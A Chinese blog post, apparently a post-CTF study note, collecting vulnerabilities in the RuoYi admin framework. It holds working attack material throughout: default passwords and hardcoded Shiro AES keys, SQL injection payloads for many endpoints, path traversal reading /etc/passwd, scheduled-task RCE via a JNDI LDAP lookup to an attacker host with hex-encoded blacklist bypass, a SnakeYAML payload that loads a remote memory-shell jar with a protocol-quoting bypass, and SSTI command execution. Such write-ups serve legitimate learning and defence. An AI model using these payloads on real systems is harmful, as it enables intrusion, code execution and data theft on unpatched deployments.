若依框架漏洞总结

前言

参加完今年的御网杯线下赛,在渗透部分考到的是一个若依框架被打蒙了,趁着假期系统总结一下。

简介

Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。

ruoyi历史漏洞主要包括shiro反序列化,ssti,sql注入,任意文件下载,定时任务远程rce等等,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。

环境搭建

首先获取一下源代码

|-----------------------------------------------------|
| git clone https://gitee.com/y_project/RuoYi |

然后切换一下版本

|-----------------------------|
| git checkout v4.5.1 |

切换完之后需要修改一下配置文件

接下来要配置数据库,这里使用phpstudy起的mysql服务,需要新建一个数据库ry,然后数据库导入根目录下sql文件夹的两个sql文件,

导入后如图

修改配置文件application-druid.yml

这里修改用户名和密码。

配置好之后启动即可

漏洞复现

弱口令

在登陆界面存在弱口令,常见的用户名有admin,rouyi,druid,弱口令密码:admin,admin123,druid,

shiro反序列化漏洞

影响版本为Ruoyi<V-4.6.2

在配置文件application中密钥

Rouyi-4.2版本使用的是shiro-1.4.2,在这个版本和版本之后都勾选AES GCM模式,RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

sql注入

注入点1:system/role/list接口

先看一下关键代码

这里出现了两种符#{}还有${},两者之间存在差异

**#{}**是预编译占位符,将参数与sql语句分开传输,数据库只会把传入内容当成普通值,不会解析 SQL 语法。

**${}**是字符串直接拼接,不做任何转义直接,直接把变量拼接进sql语句。所有就要控制params.dataScope,

查询参数类型是SysRole 对象,对象有private Map<String,Object> params,params类型是Map,接下看一下mapper层

继续跟进一下进入服务层

角色管理业务的实现层,承接Controller,调用Mapper,继续跟进查看Controller层

整个查询流程为前端发起请求,接口POST/system/role/list,Controller接受并封装参数,SysRole role 接收所有前端参数,roleName、status → 赋值给 SysRole 自身成员变量,beginTime、endTime 实体无对应属性 → 自动存入父类BaseEntityparams Map

然后将封装好所有查询条件的role对象,传给Service层,执行

|---------------------------------------------------------------------------------------------------------------------------------------------|
| @Override @DataScope(deptAlias = "d") public List<SysRole> selectRoleList(SysRole role) { return roleMapper.selectRoleList(role); } |

先获取用户信息,根据用户权限拼接sql过滤片段,进入Mapper层进行动态查询,

抓包查看参数

添加参数

|----------------------------------------------------------------------------------|
| &params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e)) |

注入点2: /system/role/export接口

注入点3:system/user/list

在SysUerMapper.xml文件中,

注入点4:system/user/export

注入点5:/system/dept/list

注入点6:/system/role/authUser/allocatedList接口

注入点7:/role/authUser/unallocatedList

注入点8:system/dept/edit

payload

|--------------------------------------------------------------------------------------------------------------------------------------|
| DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));# |

任意文件读取(CNVD-2021-01931)

登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1

poc:

|----------------------------------------------------------------------------------------------------------------------------------------------------|
| /common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini |

后台定时任务RCE

ruoyi版本<=v4.7.8

若依后台计划任务处,对传入的"调用字符串"没有任何校验,所以攻击者可以通过调用任意类,方法,触发反射进行rce。实现rce是通过定时任务+sql注入实现的。下面结合代码分析

ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

在添加新的定时任务之后会进行判断,对调用的字符串进行黑名单判断,通过之后会调用

|---------------------------------------------------|
| return toAjax(jobService.insertJob(job)); |

跟进一下

接受前端传来的参数,并把任务改为暂停状态。写入数据到sys_job表中,数据库写入成功才会Quartz中创该定时任务。

写入数据库之后再创建定时任务

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException { Class<? extends Job> jobClass = getQuartzJobClass(job); // 构建job信息 Long jobId = job.getJobId(); String jobGroup = job.getJobGroup(); JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); // 表达式调度构建器 CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); // 按新的cronExpression表达式构建一个新的trigger CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) .withSchedule(cronScheduleBuilder).build(); // 放入参数,运行时的方法可以获取 jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); // 判断是否存在 if (scheduler.checkExists(getJobKey(jobId, jobGroup))) { // 防止创建时存在数据问题 先移除,然后在执行创建操作 scheduler.deleteJob(getJobKey(jobId, jobGroup)); } // 判断任务是否过期 if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression()))) { // 执行调度任务 scheduler.scheduleJob(jobDetail, trigger); } // 暂停任务 if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) { scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); } } |

创建定时任务之后,进入到定时任务运行时的逻辑

进入invokeMethod方法,

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); invokeMethod(bean, methodName, methodParams); } } /** * 调用任务方法 * * @param bean 目标对象 * @param methodName 方法名称 * @param methodParams 方法参数 */ private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0) { Method method = bean.getClass().getMethod(methodName, getMethodParamsType(methodParams)); method.invoke(bean, getMethodParamsValue(methodParams)); } else { Method method = bean.getClass().getMethod(methodName); method.invoke(bean); } } |

解析定时任务配置字符串invokeTarget,通过反射调用方法,并且拥有两种模式:

1.Spring Bean模式,从Spring容器中获取Bean执行

2.全类名模式,反射new对象执行无参构造实例

创建后的定时任务信息储存在sys_job表中,结合一下在v4.7.5版本在/tool/gen/createTable接口处存在sql注入

genTableService的实现类GenTableServiceImpl中有

Mapper语句

这里就存在漏洞,结合上述分析,GenTableServiceImpl 是 bean 对象,Ruoyi 内置定时任务 sys_job 模块支持反射调用 Spring Bean

那么就可以直接通过

|----------------------------------------------|
| genTableServiceImpl.createTable(sql) |

执行sql语句。通过sql注入恶意语句修改定时任务从而实现rce。

首先使用JNDI-Injection-Exploit攻击先开启一下相关的ldap服务,

|-------------------------------------------------------------------------------------------------------|
| java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 192.168.100.128 |

|---------------------------------------------------------------------------------|
| javax.naming.InitialContext.lookup('ldap://192.168.100.128:1389/ups1ic) |

这个payload会触发黑名单,使用十六进制编码绕过

|--------------------------------------------------------------------------------------------------------------------------------------------------------|
| 6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3130302e3132383a313338392f75707331696329 |

最终就是

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3130302e3132383a313338392f75707331696329 WHERE job_id = 1;') |

运行之后

运行任务即可触发。

ruoyi版本<v4.6.2

若依 snakeyaml 反序列化漏洞注入内存马

poc:GitHub - lz2y/yaml-payload-for-ruoyi: A memory shell for ruoyi · GitHub

把jar放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.100.128:7777/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]') |

rce:?cmd=dir

4.6.2<=ruoyi版本<v4.7.2

采用了黑名单限制了需要调用的字符串,ldap,http,rmi

绕过也很简单只需要在屏蔽协议上接上单引号即可

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p://192.168.100.128:7777/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]') |

任意文件下载漏洞

4.7.6及以下版本

首先添加一个定时任务

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark= |

然后请求下载即可

|---------------------------------------------------|
| /common/download/resource?resource=xxxxxx |

SSTI模板注入

版本<=v4.7.1

接口/monitor/cache/getkeys

payload

|---------------------------------------------------------------------------------------|
| cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")} |

剩下的接口payload一致

接口/monitor/cache/getName

接口/monitor/cache/getValue

接口/demo/form/localrefresh/task

相关推荐
水无痕simon2 小时前
1 银行业务之个人存款业务
java
long3162 小时前
PostgreSQL 学习资料 · 入门 / 练习 / 精通 / 扩展
java·数据结构·数据库·spring boot·sql·postgresql·数据库开发
zzzll11112 小时前
RAG(检索增强生成)技术详解:从原理到实践
java·人工智能
Seven972 小时前
用300行代码带你手写简化版RPC框架
java
Alex Gram2 小时前
双机热备软件哪个好
java·系统架构·c#·keepalived·高可用·双机热备·双机热备软件
纳兰青华2 小时前
拼图大师:从“暴力尝试“到“动态规划“的拆字艺术
java·算法·动态规划
蓝斯49711 小时前
[原创]《C#高级GDI+实战:从零开发一个流程图》第章:增加贝塞尔曲线,上、下、左、右连接点
java·c#·流程图
前端工作日常11 小时前
我学习到的Java 的 Service 分层:itf 和 impl 到底是什么?
java·后端
都叫我大帅哥12 小时前
Spring @Transactional 注解完全指南
java·spring